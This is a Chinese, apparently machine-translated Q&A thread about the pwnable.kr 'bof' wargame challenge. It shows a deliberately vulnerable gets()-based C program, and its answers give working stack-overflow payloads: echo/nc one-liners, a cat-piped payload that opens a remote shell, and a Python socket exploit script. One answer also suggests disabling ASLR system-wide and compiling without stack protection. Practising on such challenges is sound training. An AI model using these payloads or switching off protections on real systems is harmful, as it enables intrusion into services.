如何有效绕过GCC堆栈粉碎检测

逆向工程 数据库 C 缓冲区溢出
2021-07-05 07:37:43

我正在解决http://pwnable.kr/play.php上的 bof 挑战, 需要粉碎以下代码的堆栈

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key != 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

并且我得到了我应该利用的任务的编译器版本很简单但是当我溢出数组时overflowme我从未转移到的控件/bin/sh而是我得到类似*** stack smashing detected ***: ./bof terminated 尝试1的东西 :尝试用零填充数组除了key但失败的尝试2:得到存储数组的内存转储并使用该转储使数组溢出但仍然失败

3个回答

Jason 的答案是正确的解决方案。但是,我想在没有 Python 的情况下从终端给出一个替代答案。IMO Python 始终是实现更好自动化的首选,但有时您只想在没有额外工具的情况下快速完成漏洞利用。

考虑到这一点,一个人的自然尝试将如下所示:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" | nc pwnable.kr 9000

毕竟,这是上述代码在 Python 中的精确复制品,对吧?除了,服务器乞求不同:

*** 检测到堆栈粉碎 ***:/home/bof/bof 终止溢出我:

那么,有什么问题呢?

考虑一下上面的命令。它向远程进程的 stdin 发送一堆字符,希望能运行 /bin/sh。但是,我们仍然会遇到错误。这样做的原因是我们正在发送正确的有效载荷,但随后我们正在停止EOF。/bin/sh 没有输入,所以继续执行到下一行,直到堆栈保护器启动。

Python 有效而echo命令无效的原因是连续性。Python 不会关闭流,而终端版本会。

为了证明这一点,这里有一个稍长的终端漏洞利用版本,它实际上有效:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" > payload.bin

首先,我们像以前一样将准确的有效载荷保存到一个名为 payload.bin 的文件中。接下来,我们运行以下命令:

cat payload.bin - | nc pwnable.kr 9000

(注意 - 在payload.bin 之后,cat 完成输出payload.bin 的内容后,它将开始输出通过stdin 输入的任何内容)

瞧!现在您已经进入了。您可以尝试键入 shell 命令,例如cat flag,touch /tmp/pwned或任何您喜欢的命令。

哇!那很长。希望这些信息能帮助其他困惑的灵魂,因为它不久前确实帮助了我。

您不需要绕过 gcc 的堆栈粉碎检测。如果您key正确覆盖,您将在func(). 这是 Python 脚本形式的证明:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwnable.kr", 9000))
s.send("A"*52 + "\xBE\xBA\xFE\xCA" + "\x0A")
print "You now have an interactive shell :)"
while True:
    s.send(raw_input() + "\x0A")
    print s.recv(1024)

首先,您应该在系统范围内禁用 ASLR,您可以按如下方式执行此操作:

echo "0" > /proc/sys/kernel/randomize_va_space

其次,使用带有 -zexecstack -fno-stack-protector -g 的标志编译您的程序

例子 gcc program.c -o program -zexecstack -fno-stack-protector -g

欢呼:)